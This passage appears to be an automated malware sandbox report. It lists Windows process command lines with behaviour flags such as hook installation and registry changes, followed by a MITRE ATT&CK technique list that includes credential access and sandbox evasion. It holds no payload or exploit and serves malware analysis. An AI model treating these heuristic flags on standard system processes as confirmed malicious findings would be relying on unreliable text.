C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:9896

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:1512

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:10120

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:6744

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:6196

C:\Windows\system32\compattelrunner.exe
C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
1⤵
PID:6772

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:9668

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:10040

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:8868

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:1104

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Change Default File Association

T1042

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Install Root Certificate

T1130

Modify Registry

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery